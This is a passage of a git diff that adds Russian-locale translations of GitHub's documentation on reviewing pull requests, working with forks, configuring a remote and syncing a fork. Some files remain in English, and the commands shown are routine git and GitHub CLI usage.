version range, of the new, updated, or deleted dependency. + * For a specific version of a dependency: + * The age of that release of the dependency. + * The number of projects that are dependent on this software. This information is taken from the dependency graph. Checking the number of dependents can help you avoid accidentally adding the wrong dependency. + * The license used by this dependency, if this information is available. This is useful if you want to avoid code with certain licenses being used in your project. + + Where a dependency has a known vulnerability, the warning message includes: + + * A brief description of the vulnerability. + * A Common Vulnerabilities and Exposures (CVE) or {% data variables.product.prodname_security_advisories %} (GHSA) identification number. You can click this ID to find out more about the vulnerability. + * The severity of the vulnerability. + * The version of the dependency in which the vulnerability was fixed. If you are reviewing a pull request for someone, you might ask the contributor to update the dependency to the patched version, or a later release. + +{% data reusables.repositories.return-to-source-diff %} diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md new file mode 100644 index 000000000000..0983d49c96d8 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md @@ -0,0 +1,124 @@ +--- +title: Reviewing proposed changes in a pull request +intro: 'In a pull request, you can review and discuss commits, changed files, and the differences (or "diff") between the files in the base and compare branches.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request + - /articles/reviewing-proposed-changes-in-a-pull-request + - /github/collaborating-with-issues-and-pull-requests/reviewing-proposed-changes-in-a-pull-request + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Review proposed changes +--- +## About reviewing pull requests + +You can review changes in a pull request one file at a time. While reviewing the files in a pull request, you can leave individual comments on specific changes. After you finish reviewing each file, you can mark the file as viewed. This collapses the file, helping you identify the files you still need to review. A progress bar in the pull request header shows the number of files you've viewed. After reviewing as many files as you want, you can approve the pull request or request additional changes by submitting your review with a summary comment. + +{% data reusables.search.requested_reviews_search_tip %} + +## Starting a review + +{% webui %} + +{% data reusables.repositories.sidebar-pr %} +{% data reusables.repositories.choose-pr-review %} +{% data reusables.repositories.changed-files %} +{% ifversion fpt or ghec or ghes > 3.3 or ghae %} + + You can change the format of the diff view in this tab by clicking {% octicon "gear" aria-label="The Settings gear" %} and choosing the unified or split view. The choice you make will apply when you view the diff for other pull requests. + + ![Diff view settings](/assets/images/help/pull_requests/diff-view-settings.png) + + You can also choose to hide whitespace differences. The choice you make only applies to this pull request and will be remembered the next time you visit this page. +{% endif %} +1. Optionally, filter the files to show only the files you want to review{% ifversion pr-tree-view %} or use the file tree to navigate to a specific file{% endif %}. For more information, see "[Filtering files in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)." +{% data reusables.repositories.start-line-comment %} +{% data reusables.repositories.type-line-comment %} +{% data reusables.repositories.suggest-changes %} +1. When you're done, click **Start a review**. If you have already started a review, you can click **Add review comment**. + + ![Start a review button](/assets/images/help/pull_requests/start-a-review-button.png) + +Before you submit your review, your line comments are _pending_ and only visible to you. You can edit pending comments anytime before you submit your review. To cancel a pending review, including all of its pending comments, scroll down to the end of the timeline on the Conversation tab, then click **Cancel review**. + +![Cancel review button](/assets/images/help/pull_requests/cancel-review-button.png) +{% endwebui %} + +{% ifversion fpt or ghec %} + +{% codespaces %} + +You can use [{% data variables.product.prodname_github_codespaces %}](/codespaces/overview) to test, run, and review pull requests. + +1. Open the pull request in a codespace, as described in "[Opening a pull request](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests#opening-a-pull-request-in-codespaces)." +1. In the Activity Bar, click the **GitHub Pull Request** view. This view only appears when you open a pull request in a codespace. + + ![Option to open PR in a codespace](/assets/images/help/codespaces/github-pr-view.png) + +1. To review a specific file, click the **Open File** icon in the Side Bar. + + ![Option to open PR in a codespace](/assets/images/help/codespaces/changes-in-files.png) + +1. To add review comments, click the **+** icon next to the line number. Type your review comment and then click **Start Review**. + + ![Option to open PR in a codespace](/assets/images/help/codespaces/start-review.png) + +1. When you are finished adding review comments, from the Side Bar you can choose to either submit the comments, approve the changes, or request changes. + + ![Option to open PR in a codespace](/assets/images/help/codespaces/submit-review.png) + +For more information on reviewing pull requests in {% data variables.product.prodname_github_codespaces %}, see "[Using {% data variables.product.prodname_github_codespaces %} for pull requests](/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests)." + +{% endcodespaces %} +{% endif %} + +{% ifversion fpt or ghes or ghec %} +## Reviewing dependency changes + +If the pull request contains changes to dependencies you can use the dependency review for a manifest or lock file to see what has changed and check whether the changes introduce security vulnerabilities. For more information, see "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)." + +{% data reusables.repositories.changed-files %} + +1. On the right of the header for a manifest or lock file, display the dependency review by clicking the **{% octicon "file" aria-label="The rich diff icon" %}** rich diff button. + + ![The rich diff button](/assets/images/help/pull_requests/dependency-review-rich-diff.png) + +{% data reusables.repositories.return-to-source-diff %} +{% endif %} + +## Marking a file as viewed + +After you finish reviewing a file, you can mark the file as viewed, and the file will collapse. If the file changes after you view the file, it will be unmarked as viewed. + +{% data reusables.repositories.changed-files %} +2. On the right of the header of the file you've finished reviewing, select **Viewed**. + + ![Viewed checkbox](/assets/images/help/pull_requests/viewed-checkbox.png) + +## Submitting your review + +After you've finished reviewing all the files you want in the pull request, submit your review. + +{% data reusables.repositories.changed-files %} +{% data reusables.repositories.review-changes %} +{% data reusables.repositories.review-summary-comment %} +4. Select the type of review you'd like to leave: + + ![Radio buttons with review options](/assets/images/help/pull_requests/pull-request-review-statuses.png) + + - Select **Comment** to leave general feedback without explicitly approving the changes or requesting additional changes. + - Select **Approve** to submit your feedback and approve merging the changes proposed in the pull request. + - Select **Request changes** to submit feedback that must be addressed before the pull request can be merged. +{% data reusables.repositories.submit-review %} + +{% data reusables.repositories.request-changes-tips %} + +## Further reading + +- "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)" +- "[Filtering pull requests by review status](/github/managing-your-work-on-github/filtering-pull-requests-by-review-status)" diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md new file mode 100644 index 000000000000..9f64ee51babb --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md @@ -0,0 +1,36 @@ +--- +title: Просмотр проверки запроса на вытягивание +intro: 'Можно просмотреть все комментарии, созданные в одном отзыве на запрос на вытягивание.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review + - /articles/viewing-a-pull-request-review + - /github/collaborating-with-issues-and-pull-requests/viewing-a-pull-request-review + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: View a PR review +ms.openlocfilehash: 72d83ce6ce9d09163d21732ef752c9724e8caf6f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146027196' +--- +{% data reusables.search.requested_reviews_search %} + +При просмотре полного отзыва вы будете видеть ту же версию запроса на вытягивание, что и рецензент во время проверки. + +{% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.choose-pr-review %} +3. На вкладке "Беседа" прокрутите содержимое до отзыва, который нужно просмотреть, и нажмите кнопку **Просмотреть изменения**. + ![Заголовок проверки со ссылкой на полный отзыв](/assets/images/help/pull_requests/view-full-review-view-changes.png) + +## Дополнительные материалы + +- [Сведения о проверках запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) +- [Просмотр предлагаемых изменений в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) +- [Рассмотрение оповещений проверки кода в запросах на вытягивание](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md new file mode 100644 index 000000000000..3db6ea8368cd --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md @@ -0,0 +1,51 @@ +--- +title: О вилках +intro: "Вилка\_— это копия репозитория, которым вы управляете. Вилки позволяют вносить изменения в проект, не влияя на исходный репозиторий. Вы можете получать обновления из исходного репозитория или отправлять изменения для него с помощью запросов на вытягивание." +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/working-with-forks/about-forks + - /articles/about-forks + - /github/collaborating-with-issues-and-pull-requests/about-forks + - /github/collaborating-with-pull-requests/working-with-forks/about-forks +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: 83372d27f052ee8c22730f5ce5d22e9efbf04fbb +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158752' +--- +Создание вилки репозитория аналогично копированию репозитория с двумя следующими важными отличиями. + +* Вы можете использовать запрос на вытягивание, чтобы предложить изменения из принадлежащей пользователю вилки в исходный репозиторий в его экземпляре GitHub, также называемый *вышестоящим* репозиторием. +* Вы можете перенести изменения из вышестоящего репозитория в локальную вилку, синхронизировав вилку с вышестоящим репозиторием. + +{% data reusables.repositories.you-can-fork %} + +{% ifversion fpt or ghec %} + +Если вы являетесь участником {% data variables.enterprise.prodname_emu_enterprise %}, существуют дополнительные ограничения на репозитории, которые можно разветвить. {% data reusables.enterprise-accounts.emu-forks %} Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" в документации {% data variables.product.prodname_ghe_cloud %}.{% else %}.{% endif %} + +{% endif %} + +{% data reusables.repositories.desktop-fork %} + +Удаление вилки не приведет к удалению исходного вышестоящего репозитория. Вы можете вносить в свою вилку любые изменения — добавлять участников совместной работы, переименовывать файлы, создавать {% data variables.product.prodname_pages %}, не влияя на исходный репозиторий.{% ifversion fpt or ghec %} Вы не можете восстановить удаленную вилку репозитория. Дополнительные сведения см. в разделе [Восстановление удаленного репозитория](/articles/restoring-a-deleted-repository).{% endif %} + +В проектах с открытым кодом вилки часто используются для повторного выполнения идей или изменений, прежде чем предложить их обратно в вышестоящий репозиторий. Когда вы вносите изменения в принадлежащую пользователю вилку и открываете запрос на вытягивание, который сравнивает вашу работу с вышестоящим репозиторием, вы можете предоставить любому пользователю с доступом на отправку к вышестоящему репозиторию разрешение на отправку изменений в вашу ветвь запроса на вытягивание (включая разрешение на удаление ветви). Это ускоряет совместную работу, позволяя тем, кто обслуживает репозиторий, выполнять фиксации или запускать тесты локально в ветви запроса на вытягивание из принадлежащей пользователю вилки перед слиянием. Вы не можете предоставить разрешения на отправку в вилку, принадлежащую организации. + +{% data reusables.repositories.private_forks_inherit_permissions %} + +Если вы хотите создать новый репозиторий из содержимого существующего репозитория, но не хотите в будущем сливать ваши изменения с вышестоящим репозиторием, то можно дублировать репозиторий или, если репозиторий является шаблоном, использовать его в качестве шаблона. Дополнительные сведения см. в разделах [Дублирование репозитория](/articles/duplicating-a-repository) и [Создание репозитория из шаблона](/articles/creating-a-repository-from-a-template). + +## Дополнительные материалы + +- [Сведения о моделях совместной разработки](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models) +- [Создание запроса на вытягивание из вилки](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork) +- [Руководства по открытому коду](https://opensource.guide/){% ifversion fpt or ghec %} +- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %} diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md new file mode 100644 index 000000000000..2c6248837a79 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md @@ -0,0 +1,43 @@ +--- +title: 'Разрешение изменений в ветви запроса на вытягивание, созданной из вилки' +intro: 'Для более эффективной совместной работы можно разрешить фиксации в ветвях, созданных на основе ветвей, принадлежащих вашей личной учетной записи.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork + - /articles/allowing-changes-to-a-pull-request-branch-created-from-a-fork + - /github/collaborating-with-issues-and-pull-requests/allowing-changes-to-a-pull-request-branch-created-from-a-fork + - /github/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork +permissions: People with push access to the upstream repository of a fork owned by a personal account can commit to the forked branches. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Allow changes to a branch +ms.openlocfilehash: 26255f5aeab3bcaa5ecc1aa6cf865981990c456a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145139177' +--- +Авторы запросов на вытягивание могут предоставлять ответственным за вышестоящий репозиторий или тем, у кого есть доступ к отправке в вышестоящий репозиторий, разрешение выполнять фиксации в ветви сравнения их запроса на вытягивание в вилке, принадлежащей пользователю. Дополнительные сведения о вышестоящих репозиториях см. в разделе [О вилках](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). + +Авторы запросов на вытягивание могут предоставлять эти разрешения при первоначальном создании запроса на вытягивание из вилки, принадлежащей пользователю, или после создания запроса на вытягивание. Дополнительные сведения см. в разделе [Создание запроса на вытягивание из вилки](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork). + +Разрешения на фиксацию можно задавать при первом создании запроса на вытягивание из вилки. Дополнительные сведения см. в разделе [Создание запроса на вытягивание из вилки](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork). Кроме того, вы можете изменить существующий запрос на вытягивание, чтобы позволить ответственным за репозиторий выполнять фиксации в вашей ветви. + +## Включение разрешений ответственных за репозиторий в существующих запросах на вытягивание + +1. В {% data variables.product.product_name %}перейдите на главную страницу вышестоящего репозитория вашего запроса на вытягивание. +2. Под именем вышестоящего репозитория щелкните {% octicon "git-pull-request" aria-label="The pull request icon" %} **Запросы на вытягивание**. +![Выбор вкладки "Проблемы и запросы на вытягивание"](/assets/images/help/repository/repo-tabs-pull-requests.png) +3. В списке запросов на вытягивание перейдите к запросу на вытягивание, в котором вы хотите разрешить фиксации. +{% data reusables.repositories.allow-maintainers-user-forks %} + + ![allow-maintainers-to-make-edits-sidebar-checkbox](/assets/images/help/pull_requests/allow-maintainers-to-make-edits-sidebar-checkbox.png) + +## Дополнительные материалы + +- [Фиксация изменений в ветви запроса на вытягивание, созданной из вилки](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md new file mode 100644 index 000000000000..4ed1f987126a --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md @@ -0,0 +1,42 @@ +--- +title: Настройка удаленного репозитория для вилки +intro: 'Необходимо настроить удаленный репозиторий, указывающий на вышестоящий репозиторий в Git, чтобы [синхронизировать изменения, внесенные в вилку](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork) с исходным репозиторием. Это также позволяет синхронизировать изменения, внесенные в исходный репозиторий с созданной вилкой.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/working-with-forks/configuring-a-remote-for-a-fork + - /articles/configuring-a-remote-for-a-fork + - /github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork + - /github/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Configure a remote +ms.openlocfilehash: 33aa4970ab5ded364073147e6197919a18b98446 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009935' +--- +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Получите текущий настроенный удаленный репозиторий для вилки. + ```shell + $ git remote -v + > origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (push) + ``` +3. Укажите новый удаленный *вышестоящий* репозиторий, который будет синхронизирован с вилкой. + ```shell + $ git remote add upstream https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ORIGINAL_REPOSITORY.git + ``` +4. Проверьте новый вышестоящий репозиторий, указанный для вилки. + ```shell + $ git remote -v + > origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (push) + > upstream https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ORIGINAL_REPOSITORY.git (fetch) + > upstream https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ORIGINAL_REPOSITORY.git (push) + ``` diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md new file mode 100644 index 000000000000..dbd038cb37a0 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md @@ -0,0 +1,28 @@ +--- +title: Работа с вилками +intro: 'Вилки часто используются в разработке с открытым кодом на {% data variables.product.product_name %}.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/working-with-forks + - /articles/working-with-forks + - /github/collaborating-with-pull-requests/working-with-forks +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +children: + - /about-forks + - /configuring-a-remote-for-a-fork + - /syncing-a-fork + - /allowing-changes-to-a-pull-request-branch-created-from-a-fork + - /what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility +ms.openlocfilehash: 79d8346fdd63366e5987def43164932503104332 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '146683664' +--- + diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md new file mode 100644 index 000000000000..d97744b5d70e --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md @@ -0,0 +1,105 @@ +--- +title: Syncing a fork +intro: Sync a fork of a repository to keep it up-to-date with the upstream repository. +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/working-with-forks/syncing-a-fork + - /articles/syncing-a-fork + - /github/collaborating-with-issues-and-pull-requests/syncing-a-fork + - /github/collaborating-with-pull-requests/working-with-forks/syncing-a-fork + - /pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork + - /github/collaborating-with-issues-and-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork + - /articles/merging-an-upstream-repository-into-your-fork + - /github/collaborating-with-issues-and-pull-requests/merging-an-upstream-repository-into-your-fork + - /github/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +permissions: People with write access for a forked repository can sync the fork to the upstream repository. +--- + +## Syncing a fork branch from the web UI + +{% ifversion syncing-fork-web-ui %} +1. On {% data variables.product.product_name %}, navigate to the main page of the forked repository that you want to sync with the upstream repository. +2. Select the **Sync fork** dropdown. + !["Sync fork" dropdown emphasized](/assets/images/help/repository/sync-fork-dropdown.png) +3. Review the details about the commits from the upstream repository, then click **Update branch**. + ![Sync fork modal with "Update branch" button emphasized](/assets/images/help/repository/update-branch-button.png) +{% else %} +1. On {% data variables.product.product_name %}, navigate to the main page of the forked repository that you want to sync with the upstream repository. +2. Select the **Fetch upstream** dropdown. + !["Fetch upstream" drop-down](/assets/images/help/repository/fetch-upstream-drop-down.png) +3. Review the details about the commits from the upstream repository, then click **Fetch and merge**. + !["Fetch and merge" button](/assets/images/help/repository/fetch-and-merge-button.png){% endif %} + +If the changes from the upstream repository cause conflicts, {% data variables.product.company_short %} will prompt you to create a pull request to resolve the conflicts. + +## Syncing a fork branch with the {% data variables.product.prodname_cli %} + +{% data reusables.cli.about-cli %} To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)." + +To update the remote fork from its parent, use the `gh repo sync -b BRANCHNAME` subcommand and supply your fork and branch name as arguments. + +```shell +$ gh repo sync owner/cli-fork -b BRANCH_NAME +``` + +If the changes from the upstream repository cause conflict then the {% data variables.product.prodname_cli %} can't sync. You can set the `-force` flag to overwrite the destination branch. + +## Syncing a fork branch from the command line + +Before you can sync your fork with an upstream repository, you must [configure a remote that points to the upstream repository](/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork) in Git. + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Change the current working directory to your local project. +3. Fetch the branches and their respective commits from the upstream repository. Commits to `BRANCHNAME` will be stored in the local branch `upstream/BRANCHNAME`. + + ```shell + $ git fetch upstream + > remote: Counting objects: 75, done. + > remote: Compressing objects: 100% (53/53), done. + > remote: Total 62 (delta 27), reused 44 (delta 9) + > Unpacking objects: 100% (62/62), done. + > From https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ORIGINAL_REPOSITORY + > * [new branch] main -> upstream/main + ``` + +4. Check out your fork's local default branch - in this case, we use `main`. + + ```shell + $ git checkout main + > Switched to branch 'main' + ``` + +5. Merge the changes from the upstream default branch - in this case, `upstream/main` - into your local default branch. This brings your fork's default branch into sync with the upstream repository, without losing your local changes. + + ```shell + $ git merge upstream/main + > Updating a422352..5fdff0f + > Fast-forward + > README | 9 ------- + > README.md | 7 ++++++ + > 2 files changed, 7 insertions(+), 9 deletions(-) + > delete mode 100644 README + > create mode 100644 README.md + ``` + + If your local branch didn't have any unique commits, Git will perform a fast-forward. For more information, see [Basic Branching and Merging](https://git-scm.com/book/en/v2/Git-Branching-Basic-Branching-and-Merging) in the Git documentation. + ```shell + $ git merge upstream/main + > Updating 34e91da..16c56ad + > Fast-forward + > README.md | 5 +++-- + > 1 file changed, 3 insertions(+), 2 deletions(-) + ``` + If your local branch had unique commits, you may need to resolve conflicts. For more information, see "[Addressing merge conflicts](/github/collaborating-with-pull-requests/addressing-merge-conflicts)." + +{% tip %} + +**Tip**: Syncing your fork only updates your local copy of the repository. To update your fork on {% data variables.location.product_location %}, you must [push your changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/). + +{% endtip %} diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md new file mode 100644 index 000000000000..c4dd05da15bd --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md @@ -0,0 +1,88 @@ +--- +title: Что происходит с вилками при удалении репозитория или изменении видимости? +intro: Удаление репозитория или изменение его видимости влияет на вилки этого репозитория. +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility + - /articles/changing-the-visibility-of-a-network + - /articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility + - /github/collaborating-with-issues-and-pull-requests/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility + - /github/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Deleted or changes visibility +ms.openlocfilehash: d52215a7406edc84bc71022517f848faa9e48600 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146332734' +--- +{% data reusables.repositories.deleted_forks_from_private_repositories_warning %} + +## Удаление частного репозитория + +При удалении частного репозитория все его частные вилки также удаляются. + +{% ifversion fpt or ghes or ghec %} + +## Удаление общедоступного репозитория + +При удалении общедоступного репозитория одна из существующих общедоступных вилок становится новым родительским репозиторием. Все остальные репозитории ответвляются от этого нового родительского репозитория, и последующие запросы на вытягивание поступают в него. + +{% endif %} + +## Частные вилки и разрешения + +{% data reusables.repositories.private_forks_inherit_permissions %} + +{% ifversion fpt or ghes or ghec %} + +## Преобразование общедоступного репозитория в частный + +Если общедоступный репозиторий становится частным, его общедоступные вилки отделяются в новую сеть. Как и при удалении общедоступного репозитория, одна из существующих общедоступных вилок становится новым родительским репозиторием. Все остальные репозитории будут ответвляться от нее. Последующие запросы на вытягивание поступают в этот новый родительский репозиторий. + +Иными словами, вилки общедоступного репозитория останутся общедоступными в отдельной сети репозиториев даже после того, как родительский репозиторий станет частным. Это позволяет владельцам вилок продолжать самостоятельную и совместную работу без перерывов. Если бы общедоступные вилки не были перенесены в отдельную сеть таким образом, их владельцам пришлось бы получать соответствующие [разрешения на доступ](/articles/access-permissions-on-github) для извлечения изменений и отправки запросов на вытягивание в родительский репозиторий (ставший частным), хотя эти разрешения раньше были не нужны. + +{% ifversion ghes or ghae %} Если общедоступный репозиторий с анонимным доступом на чтение GIT становится частным, все его вилки утрачивают этот доступ и восстанавливается настройка "отключено" по умолчанию. Если вилки репозитория становятся общедоступными, администраторы репозитория могут повторно включить анонимный доступ на чтение GIT. Дополнительные сведения см. в разделе [Включение анонимного доступа на чтение в GIT для репозитория](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository). +{% endif %} + +### Удаление частного репозитория + +Если общедоступный репозиторий становится частным, а затем удаляется, его общедоступные вилки будут по-прежнему существовать в отдельной сети. + +## Преобразование частного репозитория в общедоступный + +Если частный репозиторий становится общедоступным, каждая из его частных вилок преобразуется в отдельный частный репозиторий и становится родительским репозиторием в новой собственной сети репозиториев. Частные вилки никогда не становятся общедоступными автоматически, так как могут содержать конфиденциальные фиксации, которые не должны находиться в открытом доступе. + +### Удаление общедоступного репозитория + +Если частный репозиторий становится общедоступным, а затем удаляется, его частные вилки будут по-прежнему существовать как отдельные частные репозитории в отдельных сетях. + +{% endif %} + +{% ifversion ghes or ghec or ghae %} + +## Изменение видимости внутреннего репозитория + + + +Если политика для вашего предприятия допускает создание вилок, любая вилка внутреннего репозитория будет частной. При изменении видимости внутреннего репозитория все вилки, принадлежащие корпоративной или личной учетной записи, останутся частными. + +### Удаление внутреннего репозитория + +Если изменить видимость внутреннего репозитория, а затем удалить его, вилки будут по-прежнему существовать в отдельной сети. + +{% endif %} + +## Дополнительные материалы + +- [Настройка видимости репозитория](/articles/setting-repository-visibility) +- [Сведения о вилках](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) +- [Управление политикой создания вилок для репозитория](/github/administering-a-repository/managing-the-forking-policy-for-your-repository) +- [Управление политикой ветвления для вашей организации](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) +- [Применение политик управления репозиториями в организации](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-forking-private-or-internal-repositories) diff --git a/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md new file mode 100644 index 000000000000..7c0643504f44 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md @@ -0,0 +1,73 @@ +--- +title: Сведения о фиксациях +intro: Вы можете сохранить небольшие группы 